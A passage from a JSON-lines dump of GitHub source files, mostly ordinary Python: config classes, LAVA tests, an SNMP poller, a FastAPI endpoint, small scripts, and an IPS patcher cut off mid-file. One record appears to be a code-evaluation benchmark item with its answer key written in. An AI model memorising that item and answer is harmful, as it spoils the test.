value\n and returns the value converted to the desired type, optionally\n performing any data validation. The result will be stored /\n added to the ConfigList. Examples include type constructors\n like `int` or `float`. More complex domain examples include\n callable objects; for example, the :py:class:`In` class that\n ensures that the value falls into an acceptable set or even a\n complete :py:class:`ConfigDict` instance.\n\n description: str, optional\n The short description of this list\n\n doc: str, optional\n The long documentation string for this list\n\n visibility: int, optional\n The visibility of this ConfigList when generating templates and\n documentation. Visibility supports specification of \"advanced\"\n or \"developer\" options. ConfigLists with visibility=0 (the\n default) will always be printed / included. ConfigLists\n with higher visibility values will only be included when the\n generation method specifies a visibility greater than or equal\n to the visibility of this object.\n\n \"\"\"\n\n def __init__(self, *args, **kwds):\n ConfigBase.__init__(self, *args, **kwds)\n if self._domain is None:\n self._domain = ConfigValue()\n elif isinstance(self._domain, ConfigBase):\n pass\n else:\n self._domain = ConfigValue(None, domain=self._domain)\n self.reset()\n\n\n def __setstate__(self, state):\n state = super(ConfigList, self).__setstate__(state)\n for x in self._data:\n x._parent = self\n\n def __getitem__(self, key):\n val = self._data[key]\n self._userAccessed = True\n if isinstance(val, ConfigValue):\n return val.value()\n else:\n return val\n\n def get(self, key, default=ConfigBase.NoArgument):\n # Note: get() is borrowed from ConfigDict for cases where we\n # want the raw stored object (and to aviod the implicit\n # conversion of ConfigValue members to their stored data).\n try:\n val = self._data[key]\n self._userAccessed = True\n return val\n except:\n pass\n if default is ConfigBase.NoArgument:\n return None\n if self._domain is not None:\n return self._domain(default)\n else:\n return ConfigValue(default)\n\n def __setitem__(self, key, val):\n # Note: this will fail if the element doesn't exist in _data.\n # As a result, *this* list doesn't change when someone tries to\n # change an element; instead, the *element* gets its _userSet\n # flag set.\n #self._userSet = True\n self._data[key].set_value(val)\n\n def __len__(self):\n return self._data.__len__()\n\n def __iter__(self):\n self._userAccessed = True\n return iter(self[i] for i in xrange(len(self._data)))\n\n def value(self, accessValue=True):\n if accessValue:\n self._userAccessed = True\n return [config.value(accessValue) for config in self._data]\n\n def set_value(self, value):\n # If the set_value fails part-way through the list values, we\n # want to restore a deterministic state. That is, either\n # set_value succeeds completely, or else nothing happens.\n _old = self._data\n self._data = []\n try:\n if (type(value) is list) or \\\n isinstance(value, ConfigList):\n for val in value:\n self.append(val)\n else:\n self.append(value)\n except:\n self._data = _old\n raise\n self._userSet = True\n\n def reset(self):\n ConfigBase.reset(self)\n # Because the base reset() calls set_value, any deefault list\n # entries will get their userSet flag set. This is wrong, as\n # reset() should conceptually reset teh object to it's default\n # state (e.g., before the user ever had a chance to mess with\n # things). As the list could contain a ConfigDict, this is a\n # recursive operation to put the userSet values back.\n for val in self.user_values():\n val._userSet = False\n\n def append(self, value=ConfigBase.NoArgument):\n val = self._cast(value)\n if val is None:\n return\n self._data.append(val)\n #print self._data[-1], type(self._data[-1])\n self._data[-1]._parent = self\n self._data[-1]._name = '[%s]' % (len(self._data) - 1,)\n self._data[-1]._userSet = True\n self._userSet = True\n\n def add(self, value=ConfigBase.NoArgument):\n logger.warning(\n \"DEPRECATED: ConfigList.add() has been deprecated. Use append()\")\n return self.append(value)\n\n def _data_collector(self, level, prefix, visibility=None, docMode=False):\n if visibility is not None and visibility < self._visibility:\n return\n if docMode:\n # In documentation mode, we do NOT list the documentation\n # for any sub-data, and instead document the *domain*\n # information (as all the entries should share the same\n # domain, potentially duplicating that documentation is\n # somewhat redundant, and worse, if the list is empty, then\n # no documentation is generated at all!)\n yield (level, prefix, None, self)\n subDomain = self._domain._data_collector(level + 1, '- ',\n visibility, docMode)\n # Pop off the (empty) block entry\n six.next(subDomain)\n for v in subDomain:\n yield v\n return\n if prefix:\n if not self._data:\n yield (level, prefix, [], self)\n else:\n yield (level, prefix, None, self)\n if level is not None:\n level += 1\n for value in self._data:\n for v in value._data_collector(level, '- ', visibility, docMode):\n yield v\n\n\nclass ConfigDict(ConfigBase):\n \"\"\"Store and manipulate a dictionary of configuration values.\n\n Parameters\n ----------\n description: str, optional\n The short description of this list\n\n doc: str, optional\n The long documentation string for this list\n\n implicit: bool, optional\n If True, the ConfigDict will allow \"implicitly\" declared\n keys, that is, keys can be stored into the ConfigDict that\n were not prevously declared using :py:meth:`declare` or\n :py:meth:`declare_from`.\n\n implicit_domain: callable, optional\n The domain that will be used for any implicitly-declared keys.\n Follows the same rules as :py:meth:`ConfigValue`'s `domain`.\n\n visibility: int, optional\n The visibility of this ConfigDict when generating templates and\n documentation. Visibility supports specification of \"advanced\"\n or \"developer\" options. ConfigDicts with visibility=0 (the\n default) will always be printed / included. ConfigDicts\n with higher visibility values will only be included when the\n generation method specifies a visibility greater than or equal\n to the visibility of this object.\n\n \"\"\"\n\n content_filters = (None, 'all', 'userdata')\n\n __slots__ = ('_decl_order', '_declared', '_implicit_declaration',\n '_implicit_domain')\n _all_slots = __slots__ + ConfigBase.__slots__\n\n def __init__(self,\n description=None,\n doc=None,\n implicit=False,\n implicit_domain=None,\n visibility=0):\n self._decl_order = []\n self._declared = set()\n self._implicit_declaration = implicit\n if implicit_domain is None or isinstance(implicit_domain, ConfigBase):\n self._implicit_domain = implicit_domain\n else:\n self._implicit_domain = ConfigValue(None, domain=implicit_domain)\n ConfigBase.__init__(self, None, {}, description, doc, visibility)\n self._data = {}\n\n def __getstate__(self):\n state = super(ConfigDict, self).__getstate__()\n state.update((key, getattr(self, key)) for key in ConfigDict.__slots__)\n state['_implicit_domain'] = _picklable(state['_implicit_domain'], self)\n return state\n\n def __setstate__(self, state):\n state = super(ConfigDict, self).__setstate__(state)\n for x in six.itervalues(self._data):\n x._parent = self\n\n def __getitem__(self, key):\n self._userAccessed = True\n key = str(key)\n if isinstance(self._data[key], ConfigValue):\n return self._data[key].value()\n else:\n return self._data[key]\n\n def get(self, key, default=ConfigBase.NoArgument):\n self._userAccessed = True\n key = str(key)\n if key in self._data:\n return self._data[key]\n if default is ConfigBase.NoArgument:\n return None\n if self._implicit_domain is not None:\n return self._implicit_domain(default)\n else:\n return ConfigValue(default)\n\n def setdefault(self, key, default=ConfigBase.NoArgument):\n self._userAccessed = True\n key = str(key)\n if key in self._data:\n return self._data[key]\n if default is ConfigBase.NoArgument:\n return self.add(key, None)\n else:\n return self.add(key, default)\n\n def __setitem__(self, key, val):\n key = str(key)\n if key not in self._data:\n self.add(key, val)\n else:\n self._data[key].set_value(val)\n #self._userAccessed = True\n\n def __delitem__(self, key):\n # Note that this will produce a KeyError if the key is not valid\n # for this ConfigDict.\n del self._data[key]\n # Clean up the other data structures\n self._decl_order.remove(key)\n self._declared.discard(key)\n\n def __contains__(self, key):\n key = str(key)\n return key in self._data\n\n def __len__(self):\n return self._decl_order.__len__()\n\n def __iter__(self):\n return self._decl_order.__iter__()\n\n def __getattr__(self, name):\n # Note: __getattr__ is only called after all \"usual\" attribute\n # lookup methods have failed. So, if we get here, we already\n # know that key is not a __slot__ or a method, etc...\n #if name in ConfigDict._all_slots:\n # return super(ConfigDict,self).__getattribute__(name)\n if name not in self._data:\n _name = name.replace('_', ' ')\n if _name not in self._data:\n raise AttributeError(\"Unknown attribute '%s'\" % name)\n name = _name\n return ConfigDict.__getitem__(self, name)\n\n def __setattr__(self, name, value):\n if name in ConfigDict._all_slots:\n super(ConfigDict, self).__setattr__(name, value)\n else:\n if name not in self._data:\n name = name.replace('_', ' ')\n ConfigDict.__setitem__(self, name, value)\n\n def iterkeys(self):\n return self._decl_order.__iter__()\n\n def itervalues(self):\n self._userAccessed = True\n for key in self._decl_order:\n yield self[key]\n\n def iteritems(self):\n self._userAccessed = True\n for key in self._decl_order:\n yield (key, self[key])\n\n def keys(self):\n return list(self.iterkeys())\n\n def values(self):\n return list(self.itervalues())\n\n def items(self):\n return list(self.iteritems())\n\n def _add(self, name, config):\n name = str(name)\n if config._parent is not None:\n raise ValueError(\n \"config '%s' is already assigned to Config Block '%s'; \"\n \"cannot reassign to '%s'\" %\n (name, config._parent.name(True), self.name(True)))\n if name in self._data:\n raise ValueError(\n \"duplicate config '%s' defined for Config Block '%s'\" %\n (name, self.name(True)))\n if '.' in name or '[' in name or ']' in name:\n raise ValueError(\n \"Illegal character in config '%s' for config Block '%s': \"\n \"'.[]' are not allowed.\" % (name, self.name(True)))\n self._data[name] = config\n self._decl_order.append(name)\n config._parent = self\n config._name = name\n return config\n\n def declare(self, name, config):\n ans = self._add(name, config)\n self._declared.add(name)\n return ans\n\n def declare_from(self, other, skip=None):\n if not isinstance(other, ConfigDict):\n raise ValueError(\n \"ConfigDict.declare_from() only accepts other ConfigDicts\")\n # Note that we duplicate [\"other()\"] other so that this\n # ConfigDict's entries are independent of the other's\n for key in other.iterkeys():\n if skip and key in skip:\n continue\n if key in self:\n raise ValueError(\"ConfigDict.declare_from passed a block \"\n \"with a duplicate field, %s\" % (key,))\n self.declare(key, other._data[key]())\n\n def add(self, name, config):\n if not self._implicit_declaration:\n raise ValueError(\"Key '%s' not defined in Config Block '%s'\"\n \" and Block disallows implicit entries\" %\n (name, self.name(True)))\n\n if self._implicit_domain is None:\n if isinstance(config, ConfigBase):\n ans = self._add(name, config)\n else:\n ans = self._add(name, ConfigValue(config))\n else:\n ans = self._add(name, self._implicit_domain(config))\n self._userSet = True\n return ans\n\n def value(self, accessValue=True):\n if accessValue:\n self._userAccessed = True\n return dict((name, config.value(accessValue))\n for name, config in six.iteritems(self._data))\n\n def set_value(self, value, skip_implicit=False):\n if value is None:\n return self\n if (type(value) is not dict) and \\\n (not isinstance(value, ConfigDict)):\n raise ValueError(\"Expected dict value for %s.set_value, found %s\" %\n (self.name(True), type(value).__name__))\n if not value:\n return self\n _implicit = []\n _decl_map = {}\n for key in value:\n _key = str(key)\n if _key in self._data:\n # str(key) may not be key... store the mapping so that\n # when we later iterate over the _decl_order, we can map\n # the local keys back to the incoming value keys.\n _decl_map[_key] = key\n else:\n _key = _key.replace('_', ' ')\n if _key in self._data:\n _decl_map[str(_key)] = key\n else:\n if skip_implicit:\n pass\n elif self._implicit_declaration:\n _implicit.append(key)\n else:\n raise ValueError(\n \"key '%s' not defined for Config Block '%s' and \"\n \"implicit (undefined) keys are not allowed\" %\n (key, self.name(True)))\n\n # If the set_value fails part-way through the new values, we\n # want to restore a deterministic state. That is, either\n # set_value succeeds completely, or else nothing happens.\n _old_data = self.value(False)\n try:\n # We want to set the values in declaration order (so that\n # things are deterministic and in case a validation depends\n # on the order)\n for key in self._decl_order:\n if key in _decl_map:\n #print \"Setting\", key, \" = \", value\n self[key] = value[_decl_map[key]]\n # implicit data is declared at the end (in sorted order)\n for key in sorted(_implicit):\n self.add(key, value[key])\n except:\n self.reset()\n self.set_value(_old_data)\n raise\n self._userSet = True\n return self\n\n def reset(self):\n # Reset the values in the order they were declared. This\n # allows reset functions to have a deterministic ordering.\n def _keep(self, key):\n keep = key in self._declared\n if keep:\n self._data[key].reset()\n else:\n del self._data[key]\n return keep\n # this is an in-place slice of a list...\n self._decl_order[:] = [x for x in self._decl_order if _keep(self, x)]\n self._userAccessed = False\n self._userSet = False\n\n def _data_collector(self, level, prefix, visibility=None, docMode=False):\n if visibility is not None and visibility < self._visibility:\n return\n if prefix:\n yield (level, prefix, None, self)\n if level is not None:\n level += 1\n for key in self._decl_order:\n for v in self._data[key]._data_collector(level, key + ': ',\n visibility, docMode):\n yield v\n\n# Backwards compatibility: ConfigDick was originally named ConfigBlock.\nConfigBlock = ConfigDict\n\n# In Python3, the items(), etc methods of dict-like things return\n# generator-like objects.\nif six.PY3:\n ConfigDict.keys = ConfigDict.iterkeys\n ConfigDict.values = ConfigDict.itervalues\n ConfigDict.items = ConfigDict.iteritems\n\n\nclass In(object):\n \"\"\"A ConfigValue domain validator that checks values against a set\n\n Instances of In map incoming values to the desired type (if domain\n is specified) and check that the resulting value is in the specified\n set.\n\n Examples\n --------\n >>> c = ConfigValue(domain=In(['foo', 'bar', '0'], domain=str))\n >>> c.set_value('foo')\n >>> c.display\n foo\n >>> c.set_value(3)\n ValueError: invalid value for configuration '':\n Failed casting 3\n to \n Error: value 3 not in domain ['foo', 'bar']\n >>> c.display\n foo\n >>> c.set_value(0)\n >>> c.display\n '0'\n\n \"\"\"\n\n def __init__(self, allowable, domain=None):\n self._allowable = allowable\n self._domain = domain\n\n def __call__(self, value):\n if self._domain is not None:\n v = self._domain(value)\n else:\n v = value\n if v in self._allowable:\n return v\n raise ValueError(\"value %s not in domain %s\" % (value, self._allowable))\n","repo_name":"PyUtilib/pyutilib","sub_path":"pyutilib/misc/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":47583,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"61"} +{"seq_id":"73737254274","text":"import pytest\nfrom lava_dispatcher.actions.deploy.download import DownloaderAction\nfrom lava_dispatcher.actions.deploy.downloads import PostprocessWithDocker\nfrom lava_dispatcher.actions.deploy.downloads import DownloadsAction\nfrom lava_dispatcher.job import Job\nfrom tests.lava_dispatcher.test_basic import Factory\n\n\n@pytest.fixture\ndef job(tmpdir):\n job = Job(1234, {}, None)\n return job\n\n\ndef test_downloads_action(job):\n action = DownloadsAction()\n action.level = 2\n action.job = job\n action.populate(\n {\n \"images\": {\"rootfs\": {\"url\": \"https://example.com/image.img\"}},\n \"namespace\": \"common\",\n }\n )\n download = action.pipeline.actions[0]\n assert isinstance(download, DownloaderAction)\n assert download.key == \"rootfs\"\n assert str(download.path) == f\"{job.tmp_dir}/downloads/common\"\n assert download.params == {\"url\": \"https://example.com/image.img\"}\n\n\ndef test_downloads_action_adds_docker_action():\n factory = Factory()\n factory.validate_job_strict = True\n job = factory.create_job(\n \"qemu01.jinja2\", \"sample_jobs/qemu-download-postprocess.yaml\"\n )\n\n deploy = job.pipeline.actions[0]\n action = deploy.pipeline.actions[-1]\n assert isinstance(action, PostprocessWithDocker)\n assert str(action.path) == f\"{job.tmp_dir}/downloads/common\"\n\n\n@pytest.fixture\ndef action(tmpdir):\n action = PostprocessWithDocker(tmpdir)\n action.populate(\n {\n \"postprocess\": {\n \"docker\": {\"image\": \"foo\", \"steps\": [\"date\", \"echo HELLO WORLD\"]}\n }\n }\n )\n return action\n\n\ndef test_postprocess_with_docker_populate(action):\n assert action.image == \"foo\"\n assert \"date\" in action.steps\n assert \"echo HELLO WORLD\" in action.steps\n\n\ndef test_postprocess_with_docker_populate_missing_data(tmpdir):\n action = PostprocessWithDocker(tmpdir)\n action.populate({})\n\n\ndef test_postprocess_with_docker_validate(tmpdir):\n action = PostprocessWithDocker(tmpdir)\n assert not action.validate()\n assert \"docker image name missing\" in action.errors\n assert \"postprocessing steps missing\" in action.errors\n action.image = \"foobar\"\n action.steps = [\"date\"]\n action.errors.clear()\n assert action.validate()\n assert len(action.errors) == 0\n\n\ndef test_postprocess_with_docker_run(action, job, mocker):\n action.job = job\n\n run = mocker.patch(\"lava_dispatcher.utils.docker.DockerRun.run\")\n\n origconn = mocker.MagicMock()\n conn = action.run(origconn, 4242)\n\n assert conn is origconn\n\n script = action.path / \"postprocess.sh\"\n assert script.exists()\n script_text = script.read_text()\n assert \"date\\n\" in script_text\n assert \"echo HELLO WORLD\\n\" in script_text\n\n run.assert_called_with(mocker.ANY, action=action)\n","repo_name":"Linaro/lite-lava","sub_path":"tests/lava_dispatcher/actions/deploy/test_downloads.py","file_name":"test_downloads.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"32532710952","text":"def words_in_sentence(sentence):\n \"\"\"\n You are given a string representing a sentence,\n the sentence contains some words separated by a space,\n and you have to return a string that contains the words from the original sentence,\n whose lengths are prime numbers,\n the order of the words in the new string should be the same as the original one.\n\n Example 1:\n Input: sentence = \"This is a test\"\n Output: \"is\"\n\n Example 2:\n Input: sentence = \"lets go for swimming\"\n Output: \"go for\"\n\n Constraints:\n * 1 <= len(sentence) <= 100\n * sentence contains only letters\n \n Example solution:\n # line 1\n new_lst = []\n # line 2\n for word in sentence.split():\n # line 3\n flg = 0\n # line 4\n if len(word) == 1:\n # line 5\n flg = 1\n # line 6\n for i in range(1, len(word)):\n # line 7\n if len(word)%i == 0:\n # line 8\n flg = 1\n # line 9\n if flg == 0 or len(word) == 2:\n # line 10\n new_lst.append(word)\n # line 11\n return \" \".join(new_lst)\n \n \"\"\"\n # Please print out which line of the above program contains an error. E.g. if the bug is on line 4 then print 4\n # END OF CONTEXT\n print(\"6\")\n # END OF SOLUTION\n\ndef check(candidate):\n\n import io\n from contextlib import redirect_stdout\n\n f = io.StringIO()\n with redirect_stdout(f):\n candidate('')\n out = f.getvalue().strip('\\n')\n\n assert \"6\" == out\n for i in range(0, 15):\n if i != 6:\n assert str(i) != out\n\nif __name__ == '__main__':\n check(words_in_sentence)\n","repo_name":"openai/code-align-evals-data","sub_path":"alignment/find_bug/words_in_sentence.py","file_name":"words_in_sentence.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"} +{"seq_id":"36939823968","text":"# import os and csv lib to load data \nimport os\nimport csv\n\n#input file name - to be used later for other files in same dir location \nfile_name=input(\"Input Voter File (*.csv):\")\n\n# for file location \nVote_data = os.path.join(\"raw_data\", file_name)\n\n\n# open the file and loop over the fhd, update Revenue=[] and Months=[]\n\nCandidates=[]\n\nwith open(Vote_data, newline=\"\") as csvfile:\n csv_reader = csv.reader(csvfile, delimiter=\",\")\n\n # Skip csv headers \n next(csv_reader, None)\n\n # Loop over fh\n for row in csv_reader:\n Candidates.append(row[2]) # Update candidate list\n\n\n# finding vote summary\ntotal_votes=len(Candidates)\ncand_list=set(Candidates)\ncand_list=[i for i in cand_list]\nvote_counts=[Candidates.count(i) for i in cand_list]\nvote_percent= [((Candidates.count(i)/total_votes)*100) for i in cand_list]\nvote_percent= [round(i,3) for i in vote_percent]\n\nmax_vote=max(vote_counts)\n\n\nmx,idx = max( (vote_counts[i],i) for i in range(len(vote_counts)) )\n\nwins=cand_list[idx]\n \n \n# printing vote summary \nprint('Election Results')\nprint('-------------------------')\nprint('Total Votes: ' + str(total_votes) )\nprint('-------------------------')\n\ncand_num=0\nfor i in cand_list:\n print(i + ': ' + str(vote_percent[cand_num])+'% '+ '(' + str(vote_counts[cand_num]) + ')' )\n cand_num+=1\n\nprint('-------------------------')\n\nprint('Winner: ' + str(wins)) \n\nprint('-------------------------')","repo_name":"aerwemi/python-challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11904518515","text":"#!/usr/bin/env python3\nimport sys\nimport os\n\nif len(sys.argv)!=2:\n print(f'Usage: {sys.argv[0]} ')\n quit()\n\nfile = sys.argv[1]\nmapped_dict = {}\n\ntry:\n with open(file, encoding = 'utf-8') as f:\n d = f.read()\n l = d.split()\n for x in l:\n if x not in mapped_dict:\n mapped_dict[x] = 1\n else:\n mapped_dict[x] = mapped_dict[x] + 1\n tup_view = mapped_dict.items()\n tup_list = list(tup_view)\n with open(\"../results/mapreduce_python_results.txt\",\"w\",encoding=\"utf-8\") as ff:\n for y in tup_list:\n ff.write(str(y)+\"\\n\")\n\nexcept IOError as e:\n print(IOError,e)\n","repo_name":"dynamid/demo-mapreduce","sub_path":"1-python/wordfreq.py","file_name":"wordfreq.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73212026755","text":"def string_compression(s: str) -> str:\n start = 0\n arr = []\n cur = s[0]\n new_str = \"\"\n\n for i in range(len(s)):\n if s[i] != cur:\n arr.append(s[start:i])\n cur = s[i]\n start = i\n if i == len(s) - 1:\n arr.append(s[start:i+1])\n \n for i in arr:\n new_str += i[0]\n new_str += str(len(i))\n\n return new_str\n\n\nprint(string_compression('aabcccccaaa'))","repo_name":"domeccleston/ctci","sub_path":"arrays-strings/string-compression.py","file_name":"string-compression.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37036698936","text":"import logging\nfrom .poller import Poller\nfrom .processing import process_metrics, reduce_average, split_oid_index\n\nlogger = logging.getLogger(__name__)\n\nclass F5BigIPSystemMIB():\n\t\"\"\"\n\tMetric processing for F5-BIGIP-SYSTEM-MIB\n\tF5 CPU and memory from the Trafic Management Module (TMM)\n\n\tReference\n\thttp://www.circitor.fr/Mibs/Html/F/F5-BIGIP-SYSTEM-MIB.php\n\n\tUsage\n\tf5_mib = F5BigIPSystemMIB(device, authentication)\n\tf5_metrics = f5_mib.poll_metrics()\n\n\tReturns a dictionary containing values for:\n\tCPU Utilsation\n\tMemory Utilisation\n\t\"\"\"\n\n\tdef __init__(self, device, authentication):\n\t\tself.poller = Poller(device, authentication)\n\n\tdef poll_metrics(self):\n\t\tcpu = self._poll_cpu()\n\t\tstorage = self._poll_memory()\n\n\t\tcpu_utilisation = cpu.get('cpu', [])\n\t\tmemory = storage.get('memory', [])\n\t\tdisk = storage.get('disk', [])\n\n\t\tmetrics = {\n\t\t\t'cpu_utilisation': cpu_utilisation,\n\t\t\t'memory_utilisation': memory,\n\t\t\t'disk_utilisation': disk\n\t\t}\n\t\treturn metrics\n\n\tdef _poll_cpu(self):\n\t\t# CPU UTIL of BIG-IP: https://support.f5.com/csp/article/K28455051\n\t\t# sysGlobalHostCpuUsageRatio1m may be better than just TMM\n\t\tcpu_endpoints = [\n\t\t \t'1.3.6.1.4.1.3375.2.1.8.2.3.1.38' # sysTmmStatTmUsageRatio1m - % of time TMM CPU busy\n\t\t]\n\t\tgen = self.poller.snmp_connect_bulk(cpu_endpoints)\n\t\treturn process_metrics(gen, calculate_f5_cpu)\n\n\tdef _poll_memory(self):\n\t\tmemory_endpoints = [\n\t\t\t'1.3.6.1.4.1.3375.2.1.1.2.1.143',\t# sysStatMemoryTotalKb - Memory Total\n\t\t\t'1.3.6.1.4.1.3375.2.1.1.2.1.144'\t# sysStatMemoryUsedKb - Memory Used\n\t\t]\n\t\tgen = self.poller.snmp_connect_bulk(memory_endpoints)\n\t\treturn process_metrics(gen, calculate_f5_memory)\n\n\"\"\"\nsysTmmStatTmUsageRatio1m -> varBinds[0]\n\"\"\"\ndef calculate_f5_cpu(varBinds, metrics):\n\tcpu = {}\n\tindex = split_oid_index(varBinds[0][0])\n\tcpu['value'] = float(varBinds[0][1])\n\tcpu['dimension'] = {'Index': index}\n\tcpu['is_absolute_number'] = True\n\tmetrics.setdefault('cpu', []).append(cpu)\n\"\"\"\nsysStatMemoryTotalKb -> varBinds[0]\nsysStatMemoryUsedKb -> varBinds[1]\n\"\"\"\ndef calculate_f5_memory(varBinds, metrics):\n\tmemory_name = 'Traffic Management Microkernel'\n\tmemory_total = float(varBinds[0][1])\n\tmemory_used = float(varBinds[1][1])\n\tmemory_utilisation = 0\n\tif memory_total > 0:\n\t\tmemory_utilisation = (memory_used / memory_total) * 100\n\t\n\tmemory = {}\n\tmemory['value'] = memory_utilisation\n\tmemory['dimension'] = {'Storage': memory_name}\n\tmemory['is_absolute_number'] = True\n\n\tmetrics.setdefault('memory', []).append(memory)\n","repo_name":"BraydenNeale/DT-SNMP","sub_path":"dtsnmp/f5_bigip_system_mib.py","file_name":"f5_bigip_system_mib.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"2395269118","text":"import asyncio\nfrom datetime import datetime, timedelta\nfrom typing import List\n\nfrom aiopath import AsyncPath\nfrom fastapi import APIRouter, Depends, HTTPException, status\nfrom sqlalchemy.orm import Session\n\nfrom app.api.deps import get_db, oauth2_password_bearer_or_api_key\nfrom app.core.config import settings\nfrom app.core.constants import DATE_DIR_FORMAT\nfrom app.crud import microscope as microscope_crud\nfrom app.crud import scan as scan_crud\nfrom app.kafka.producer import send_notebook_event_to_kafka\nfrom app.models import Scan\nfrom app.schemas import Notebook, NotebookCreate, NotebookCreateEvent, Scan\n\nrouter = APIRouter()\n\n\nasync def notebook_base_path(db: Session, scan: Scan):\n created_datetime = scan.created\n date_dir = created_datetime.astimezone().strftime(DATE_DIR_FORMAT)\n\n # 4D camera\n if scan.microscope_id == 1:\n notebook_path = AsyncPath(settings.NCEMHUB_PATH) / \"counted\" / date_dir\n else:\n microscope = microscope_crud.get_microscope(db, scan.microscope_id)\n if microscope is None:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"Scan not found\",\n )\n microscope_name = microscope.name.lower().replace(\" \", \"\")\n notebook_path = (\n AsyncPath(settings.NCEMHUB_PATH)\n / \"scans\"\n / microscope_name\n / date_dir\n / str(scan.id)\n )\n\n return notebook_path\n\n\n@router.post(\n \"\",\n response_model=Notebook,\n dependencies=[Depends(oauth2_password_bearer_or_api_key)],\n)\nasync def create_notebook(notebook: NotebookCreate, db: Session = Depends(get_db)):\n scan = scan_crud.get_scan(db, notebook.scan_id)\n notebook_path = await notebook_base_path(db, scan)\n template_name = notebook.name.replace(\".ipynb.j2\", \"\")\n notebook_name = f\"{template_name}_{scan.id}.ipynb\"\n\n notebook_path = notebook_path / notebook_name\n\n # If we already have the notebook just the path\n if await notebook_path.exists():\n return Notebook(path=str(notebook_path))\n\n # Trigger the creation\n await send_notebook_event_to_kafka(\n NotebookCreateEvent(\n name=notebook.name, path=str(notebook_path), scan_id=scan.id\n )\n )\n\n start = datetime.utcnow()\n delta = timedelta(seconds=10)\n\n # Wait for the notebook to appear\n while datetime.utcnow() < start + delta:\n await asyncio.sleep(1)\n\n if await notebook_path.exists():\n break\n\n if await notebook_path.exists():\n return Notebook(path=str(notebook_path))\n else:\n raise HTTPException(\n status_code=status.HTTP_504_GATEWAY_TIMEOUT,\n detail=\"Notebook not generates within timeout\",\n )\n\n\n@router.get(\n \"\",\n response_model=List[str],\n dependencies=[Depends(oauth2_password_bearer_or_api_key)],\n)\ndef read_notebooks():\n return settings.NOTEBOOKS\n","repo_name":"OpenChemistry/distiller","sub_path":"backend/app/app/api/api_v1/endpoints/notebooks.py","file_name":"notebooks.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28892853185","text":"def checkIfExist(arr: list) -> bool:\n l = len(arr)\n check = {}\n for i in range(0, l):\n if arr[i] % 2 == 0:\n if arr[i] * 2 in check or arr[i] / 2 in check:\n return True\n else:\n check[arr[i]] = None\n elif arr[i] * 2 in check or arr[i] / 2 in check:\n return True\n else:\n check[arr[i]] = None\n return False\n\n\nif __name__ == \"__main__\":\n print(checkIfExist([10, 2, 5, 3]))\n\n\n\"\"\"\nGiven an array arr of integers, check if there exists two integers N and M such that N is the double of M ( i.e. N = 2 * M).\n\nMore formally check if there exists two indices i and j such that :\n\n i != j\n 0 <= i, j < arr.length\n arr[i] == 2 * arr[j]\n\n \n\nExample 1:\n\nInput: arr = [10,2,5,3]\nOutput: true\nExplanation: N = 10 is the double of M = 5,that is, 10 = 2 * 5.\n\nclass Solution:\n # @param a list of integers\n # @return an integer\n def removeDuplicates(self, A):\n if not A:\n return 0\n\n newTail = 0\n\n for i in range(1, len(A)):\n if A[i] != A[newTail]:\n newTail += 1\n A[newTail] = A[i]\n\n return newTail + 1\n\"\"\"\n","repo_name":"waroonX/python_realm","sub_path":"testCodes/checkIfExists.py","file_name":"checkIfExists.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15346279367","text":"#!/usr/bin/python3\n\nimport struct\nfrom io import BytesIO\nfrom pathlib import Path\nfrom argparse import ArgumentParser\n\n\ndef parse_ips_file(data):\n patches = []\n (P, A, T, C, H) = struct.unpack_from(\">ccccc\", data)\n\n if P != b\"P\" or A != b\"A\" or T != b\"T\" or C != b\"C\" or H != b\"H\":\n raise Exception(\"Invalid file header, not an IPS file.\")\n\n offset = 5\n EOF = False\n\n while not EOF:\n # Parse patch header.\n # 3 Bytes target offset.\n # 2 Bytes patch length\n (a, b, c, length) = struct.unpack_from(\">BBBH\", data, offset)\n offset += 5\n\n # Because there's no integer type for 3 bytes\n # we parsed the individual bytes and combine it here\n target_offset = int.from_bytes([a, b, c], \"big\")\n\n # RLE Patch\n if length == 0:\n (run_len, value) = struct.unpack_from(\">HB\", data, offset)\n offset += 3\n patches.append((target_offset, length, run_len, value))\n else:\n patch = data[offset : offset + length]\n offset += length\n patches.append((target_offset, length, patch))\n\n # Check for EOF\n if offset + 3 <= len(data):\n (E, O, F) = struct.unpack_from(\">ccc\", data, offset)\n if E == b\"E\" and O == b\"O\" and F == b\"F\":\n EOF = True\n\n return patches\n\n\n# Adds a .patched extension before the actual file extension.\n# file.rom -> file.patched.rom\ndef filename(name):\n path = Path(name)\n\n return path.with_suffix(\".patched\" + path.suffix)\n\n\ndef patch(rom, patches):\n data = BytesIO(rom)\n\n for (offset, length, *patch) in patches:\n # RLE\n if length == 0:\n (run_len, value) = patch\n data.seek(offset)\n data.write(bytes([value] * run_len))\n else:\n data.seek(offset)\n data.write(patch[0])\n\n return data.getvalue()\n\n\ndef main():\n parser = ArgumentParser(description=\"Patch files using a .ips patch file.\")\n\n parser.add_argument(\"input\", help=\"Input file to patch\")\n parser.add_argument(\"patch\", help=\"The IPS patch file to apply\")\n parser.add_argument(\"output\", help=\"Output File\", nargs=\"?\")\n\n args = parser.parse_args()\n\n input_file = Path(args.input)\n patch_file = Path(args.patch)\n output_file = Path(args.output or filename(args.input))\n\n print(f\"Parsing IPS File '{patch_file}'\")\n patches = 